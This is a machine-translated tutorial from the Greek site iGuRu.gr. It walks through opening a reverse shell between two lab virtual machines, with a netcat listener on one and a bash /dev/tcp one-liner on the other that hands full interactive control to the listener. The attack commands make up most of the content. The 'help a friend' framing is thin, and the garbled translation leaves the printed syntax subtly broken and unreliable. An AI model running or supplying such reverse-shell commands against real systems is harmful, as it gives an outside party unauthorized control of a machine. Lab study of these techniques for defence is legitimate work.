Guide to Reverse Shell between two Linux machines

In this guide we are going to show you how to make a reverse shell between two Linux eyes.

For this purpose we will use two VMs running linux, one will be Kali Linux and the other will be Backtrack Linux.

  • For Kali Linux Machine IP - 192.168.179.137
  • For Backtrack Linux Machine IP - 192.168.179.139

What is the Reverse Shell

Usually when you make any TCP/IP connection between two , then one (server) handles the connection and another so-called client (client) tries to make the connection.

Where you can use the Reverse Shell

Just think that you want to help a friend, but he does not have a server with port forward etc. and of course you can not connect to his machine. In this case you can use the Reverse Shell to receive with reverse TCP / IP a connection to your friend's machine, with full administrator access.

Do not think illegally, I do not want bullshit ?

Now we are going to use Netcat on server side i.e. on BT Machine. Netcat is a free network utility that read/write for TCP and UDP sockets.

Step 1: Your first step is to put your machine into listening mode using the following command:

Mandate: nc -l -vv -p 1337

Here, -l means listening function, -vv means function verbose and -p shows us the used for the server.

Once you run the command on your machine (BT), you should see the following:

Step 2: Now go to the client machine, ie the Kali Linux Machine that you want to control from your terminal. Here we are going to redirect the standard i / o / e of the bash client to the server using the bash command:

Mandate: bash -i &> /dev/tcp/192.168.179.139/1337 0> & 1

Here is the bash -i shows us that the Interactive bash, stand redirects the standard output and bash error to the server, and that 0> & 1 means connecting the standard bash input to the output.

Here both machines are connected to the same network through NAT, so we will use our local IP.

Once you or your friend execute the above command on your machine, you will be connected to it and you will be able to fully control it, through the shell terminal.


Good Luck.

iGuRu.gr The Best Technology Site in Greecefgns

every publication, directly to your inbox

Join the 2.100 registrants.

Written by Anastasis Vasileiadis

Translations are like women. When they are beautiful they are not faithful and when they are faithful they are not beautiful.

Leave a reply

Your email address is not published. Required fields are mentioned with *

Your message will not be published if:
1. Contains insulting, defamatory, racist, offensive or inappropriate comments.
2. Causes harm to minors.
3. It interferes with the privacy and individual and social rights of other users.
4. Advertises products or services or websites.
5. Contains personal information (address, phone, etc.).